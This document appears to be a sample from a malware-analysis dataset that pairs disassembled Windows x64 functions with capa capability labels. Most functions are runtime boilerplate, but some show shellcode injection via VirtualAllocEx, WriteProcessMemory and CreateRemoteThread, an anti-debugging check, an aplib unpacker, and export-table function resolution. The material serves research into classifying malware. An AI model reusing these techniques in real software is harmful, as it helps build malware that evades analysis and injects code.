joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140005590]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400055a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400034d0
jmp 0x14000123c
mov rax, qword [0x1400055a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400055a0]
mov dword [rax], 1
mov rax, qword [0x1400055e0]
mov rdx, rax
mov rax, qword [0x1400055d0]
mov rcx, rax
call sub.ucrtbase.dll__initterm
jmp 0x14000123c
mov dword [0x140009024], 1
mov rax, qword [0x1400055a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400055c0]
mov rdx, rax
mov rax, qword [0x1400055b0]
mov rcx, rax
call sub.ucrtbase.dll__initterm
mov rax, qword [0x1400055a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140005590]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400054e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400054e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.140002758
mov rax, qword [0x140005620]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140005580]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.ucrtbase.dll__set_invalid_parameter_handler
call fcn.140001f50
mov eax, dword [0x140009004]
lea rdx, [0x140009008]
mov ecx, eax
call fcn.14000147c
call fcn.140001ce7
mov rax, qword [0x140005510]
mov rax, qword [rax]
mov rdx, qword [0x140009010]
mov qword [rax], rdx
mov rcx, qword [0x140009010]
mov rdx, qword [0x140009008]
mov eax, dword [0x140009004]
mov r8, rcx
mov ecx, eax
call fcn.140001af0
mov dword [0x14000901c], eax
mov eax, dword [0x140009020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14000901c]
mov ecx, eax
call sub.ucrtbase.dll_exit
mov eax, dword [0x140009024]
test eax, eax
jne 0x14000136c
call sub.ucrtbase.dll__cexit
mov eax, dword [0x14000901c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005540]
mov dword [rax], 1
mov rax, qword [0x140005550]
mov dword [rax], 1
mov rax, qword [0x140005560]
mov dword [rax], 1
mov rax, qword [0x140005500]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400018b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x58
mov rcx, qword [str.0x99999999999999999999999999999999999999999]
call sub.ucrtbase.dll_strlen
mov dword [rsp + 0x4c], 0
xor r9d, r9d
mov rcx, qword [str.file.m]
mov qword [rsp + 0x30], 0
mov rsi, rax
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400019a0
lea r9, [rsp + 0x4c]
mov rdx, qword [str.0x99999999999999999999999999999999999999999]
mov r8d, esi
mov rcx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor r9d, r9d
test eax, eax
je 0x140001960
cmp dword [rsp + 0x4c], esi
je 0x140001980
lea r8, str.Error
lea rdx, str.Error:_byte_count_mismatch.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x58
pop rbx
pop rsi
ret
lea r8, str.Error
lea rdx, str.Unable_to_write_to_file.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000194f
lea r8, str.Success
lea rdx, str.File_written_successfully_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000194f
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Cannot_open_file_for_writing.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
add rsp, 0x58
pop rbx
pop rsi
ret
Function at 0x140001f60
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.ucrtbase.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.ucrtbase.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.ucrtbase.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.1400032c0
call sub.ucrtbase.dll_abort
nop

Function at 0x140002c32
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x140002cca
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x140002cae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002ca2
cmp qword [rbp - 0x10], 0
je 0x140002ca2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002c68
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002ccb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002dd0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002df8
mov eax, 0
jmp 0x140002e46
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002e21
mov eax, 0
jmp 0x140002e46
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002e41
mov eax, 0
jmp 0x140002e46
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002e4c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002eca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002ec1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002ec1
mov rax, qword [rbp - 8]
jmp 0x140002edf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002e94
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140011ed4
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.1400b0000
add rsp, 0x28
jmp 0x140011ed4
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push r14
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x14001f0e0], rbx
je 0x140011f1e
cmp rax, rbx
jne 0x140011f33
mov edi, 1
mov eax, dword [0x14001f0e8]
cmp eax, 1
jne 0x140011f40
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x140011fad
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140011f07
mov eax, dword [0x14001f0e8]
test eax, eax
jne 0x140011fa3
mov dword [0x14001f0e8], 1
lea r14, [0x140014e28]
lea rbx, [0x140014e10]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x24], eax
cmp rbx, r14
jae 0x140011f95
test eax, eax
jne 0x140011f99
cmp qword [rbx], 0
je 0x140011f8a
mov rax, qword [rbx]
mov rcx, qword [0x140014db0]
call rcx
mov dword [rsp + 0x24], eax
add rbx, 8
mov qword [rsp + 0x30], rbx
jmp 0x140011f6b
test eax, eax
je 0x140011fad
mov eax, 0xff
jmp 0x140012102
mov dword [0x14001e5f4], 1
mov eax, dword [0x14001f0e8]
cmp eax, 1
jne 0x140011fd5
lea rdx, [0x140014e08]
lea rcx, [0x140014db8]
call sub.msvcrt.dll__initterm
mov dword [0x14001f0e8], 2
test edi, edi
jne 0x140011fe2
xor eax, eax
xchg qword [0x14001f0e0], rax
cmp qword [0x14001f100], 0
je 0x140012016
lea rcx, [0x14001f100]
call fcn.1400126e0
test eax, eax
je 0x140012016
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14001f100]
mov r9, qword [0x140014db0]
call r9
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
mov cl, byte [rbx]
cmp cl, 0x20
ja 0x1400120a1
test cl, cl
je 0x140012038
test edi, edi
jne 0x1400120a1
dec cl
cmp cl, 0x1f
ja 0x14001204b
inc rbx
mov qword [rsp + 0x28], rbx
mov cl, byte [rbx]
jmp 0x140012038
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rbx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400015d4
mov dword [0x14001e5f0], eax
cmp dword [0x14001e610], 0
jne 0x14001208a
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14001e5f4], 0
jne 0x14001209f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14001e5f0]
jmp 0x140012102
cmp cl, 0x22
jne 0x1400120b3
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
movzx ecx, cl
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
je 0x1400120c8
inc rbx
mov qword [rsp + 0x28], rbx
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140012029
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r14
ret
Function at 0x1408ca160
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1408ca2e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1408ca191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408ca177
add dl, dl
jne 0x1408ca19e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408ca1fe
xor eax, eax
add dl, dl
jne 0x1408ca1ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408ca2b5
add dl, dl
jne 0x1408ca1be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408ca1cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408ca1d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408ca1e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408ca1f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1408ca186
mov eax, 1
add dl, dl
jne 0x1408ca20e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408ca21b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408ca203
sub eax, ebx
mov ebx, 1
jne 0x1408ca254
mov ecx, 1
add dl, dl
jne 0x1408ca236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1408ca243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408ca22b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408ca186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1408ca270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1408ca27d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408ca265
cmp eax, 0x7d00
jae 0x1408ca2a3
cmp eax, 0x500
jb 0x1408ca29e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408ca186
cmp eax, 0x7f
ja 0x1408ca2a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408ca186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408ca2da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1408ca186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001550
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov r14d, r9d
mov r15, r8
mov rbp, rdx
mov rdi, rcx
mov ecx, dword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 0x40
xor ebx, ebx
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8, rbp
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x140001623
mov rsi, rax
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rdi
mov r9, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001621
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea r9, [0x140001540]
xor ebx, ebx
mov rcx, 0xffffffffffffffff
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [r15], rax
test rax, rax
je 0x140001623
test r14d, r14d
je 0x14000161c
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, rsi
jmp 0x140001623
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140001640
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str._api_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x1400016d3
call fcn.140948040
cmp byte [rax + 2], 0
jne 0x1400016d3
test byte [rax + 0xbc], 0x70
jne 0x1400016d3
call fcn.1409486b0
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x14094c488]
mov edx, dword [rax]
mov rax, qword [0x14094c4e0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x14094c480]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001550
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.1409490d0
nop
add rsp, 0x20
pop rbp
jmp 0x140001640

Function at 0x1400016e0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str._api_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x1400016d3
call fcn.140948040
cmp byte [rax + 2], 0
jne 0x1400016d3
test byte [rax + 0xbc], 0x70
jne 0x1400016d3
call fcn.1409486b0
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x14094c488]
mov edx, dword [rax]
mov rax, qword [0x14094c4e0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x14094c480]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001550
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.1409490d0
nop
add rsp, 0x20
pop rbp
jmp 0x140001640
Function at 0x140948050
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
ret
Function at 0x140948c20
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r15, rdx
mov r12, rcx
movsxd r13, dword [rcx + 0x3c]
mov ebx, dword [rcx + r13 + 0x54]
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x140948c8a
lea r9, [rsp + 0x20]
mov rcx, r15
mov rdx, rbx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140948c8a
mov rcx, r15
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rcx, r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [r12 + r13 + 6]
test ax, ax
je 0x140948d2c
movsxd rcx, dword [r12 + 0x3c]
lea rbp, [rcx + r12]
add rbp, 0x110
xor r14d, r14d
jmp 0x140948cc6
movzx eax, word [r12 + r13 + 6]
add r14, 1
movzx ecx, ax
add rbp, 0x28
cmp r14, rcx
jae 0x140948d2c
cmp dword [rbp + 0x1c], 0
js 0x140948cb6
mov ebx, dword [rbp]
mov esi, dword [rbp + 4]
lea rdi, [r12 + rsi]
add rsi, r15
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x140948cb0
mov rcx, rsi
mov rdx, rbx
mov r8d, 0x40
lea r9, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140948cb0
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov r8d, dword [rsp + 0x24]
mov rcx, rsi
mov rdx, rbx
lea r9, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x140948cb0
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140948db0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
test rcx, rcx
je 0x140948f8a
mov rsi, rdx
mov rbx, rcx
movsxd rax, dword [rcx + 0x3c]
mov edi, dword [rax + rcx + 0x88]
mov r13d, dword [rdi + rcx + 0x1c]
add r13, rcx
test esi, 0xffff0000
je 0x140948e46
mov ebp, dword [rbx + rdi + 0x18]
test ebp, ebp
je 0x140948f8a
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r8
mov r14d, dword [rbx + rdi + 0x20]
mov r15d, dword [rbx + rdi + 0x24]
add r14, rbx
add r15, rbx
xor r12d, r12d
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, dword [r14]
add rcx, rbx
mov rdx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140948e5a
add ebp, 0xffffffff
add r14, 4
add r15, 2
test ebp, ebp
jne 0x140948e20
jmp 0x140948f92
movzx eax, si
mov ecx, dword [rbx + rdi + 0x10]
sub rax, rcx
mov r12d, dword [r13 + rax*4]
jmp 0x140948f8f
movzx eax, word [r15]
mov r12d, dword [r13 + rax*4]
cmp edi, r12d
ja 0x140948f8f
mov rax, qword [rsp + 0x38]
add edi, dword [rbx + rax + 0x8c]
cmp r12d, edi
jae 0x140948f8f
add r12, rbx
mov rcx, r12
mov edx, 0x2e
call sub.msvcrt.dll_strchr
mov r14, rax
add r14, 1
mov rsi, r14
sub rsi, r12
lea rcx, [rsi + 4]
mov edx, 2
call sub.msvcrt.dll_calloc
test rax, rax
je 0x140948f8a
mov rbx, rax
lea r8, [rsi + 1]
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov rdx, rax
mov r9, r12
call qword [sym.imp.msvcrt.dll_mbstowcs_s]
mov eax, dword [0x14094c016]
mov dword [rbx + rsi*2], eax
movzx eax, word [0x14094c01a]
mov word [rbx + rsi*2 + 4], ax
lea rdx, [0x14094c002]
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__wcsnicmp]
test eax, eax
je 0x140948f18
lea rdx, str.ext_
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__wcsnicmp]
test eax, eax
jne 0x140948f66
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
call fcn.140948070
test rax, rax
je 0x140948f66
mov rsi, rax
mov rcx, rbx
call sub.msvcrt.dll_free
mov rdi, qword [rsp + 0x40]
lea rcx, [rdi + 1]
mov edx, 2
call sub.msvcrt.dll_calloc
test rax, rax
je 0x140948f8a
mov rbx, rax
add rdi, rdi
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, r14
mov r8, rbx
call fcn.140948db0
mov r12, rax
mov rcx, rbx
call sub.msvcrt.dll_free
jmp 0x140948f92
xor r12d, r12d
jmp 0x140948f92
add r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x1409492f0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14094a200
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.14094a200
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]